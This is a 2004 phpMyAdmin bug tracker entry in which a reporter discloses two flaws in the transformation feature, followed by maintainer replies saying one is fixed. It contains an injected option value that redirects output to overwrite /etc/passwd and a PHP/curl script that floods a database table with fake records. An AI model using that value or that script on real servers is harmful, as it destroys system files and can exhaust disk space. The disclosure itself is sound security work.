Menu

#1475 (in 2.6.0-pl2) Security problem in external transformation

2.6.0-pl1
invalid
1
2013-06-11
2004-10-11
No

I have discover 2 bugs of security in PMA transformation.

text/plain: external option 1 permit to erase file
with httpd write access.
Ex: set option[1] to ' 1> /etc/passwd'

The second bug permit to phpmyadmin user put any number of
fake records in PMA transformation DB. This full the
disk and crash system.

This is example of script, is also attached.

#!/usr/bin/php
<?
$user="myUser";
$passwd="myPasswd";
$server="http://www.myserver.com/phpmyadmin";

$login="curl --cookie-jar cookie.txt --data
\"pma_username=$user&pma_password=$passwd\"
$server/index.php";
exec($login);

$baseurl= $server
."/sql.php?db=phpmyadmin&table=pma_table_info&goto=sql.php&sql_query=";

for ($x = 0; $x < 10; $x++ ){
$value= md5(time()) . md5(time());
$query="INSERT INTO `pma_table_info`
(`db_name`,`table_name`,`display_field`) VALUES
('$value','$value','$value')";
$fullurl= $baseurl . urlencode($query);
$command = "curl --cookie-jar cookie.txt -b
cookie.txt '$fullurl'";
exec($command);
}
?>

Discussion

  • Steeve Beaudin

    Steeve Beaudin - 2004-10-11

    Put fake records in PMA.

     
  • Michal Čihař

    Michal Čihař - 2004-10-12
    • assigned_to: nobody --> nijel
     
  • Michal Čihař

    Michal Čihař - 2004-10-12

    Logged In: YES
    user_id=192186

    First issue is problem, but not as big, because httpd
    usually has minimal set of permissions.

    Second issue won't work: Access to phpmyadmin database is
    granted only to phpMyAdmin control user if you created it by
    script we provide. If you created it by other way, it is
    problem in your MySQL permissions and nothing else.

     
  • Michal Čihař

    Michal Čihař - 2004-10-12
    • summary: 2 bugs of security in PMA transformation. --> Security problem in external transformation
     
  • Michal Čihař

    Michal Čihař - 2004-10-12

    Logged In: YES
    user_id=192186

    Transformation issue fixed in cvs.

     
  • Michal Čihař

    Michal Čihař - 2004-10-12
    • priority: 5 --> 1
    • summary: Security problem in external transformation --> (in 2.6.0-pl2) Security problem in external transformation
    • status: open --> open-fixed
     
  • Michal Čihař

    Michal Čihař - 2004-10-19
    • status: open-fixed --> closed-fixed
     
  • Michal Čihař

    Michal Čihař - 2013-06-11
    • Status: closed-fixed --> invalid
     
Want the latest updates on software, tech news, and AI?
Get latest updates about software, tech news, and AI from SourceForge directly in your inbox once a month.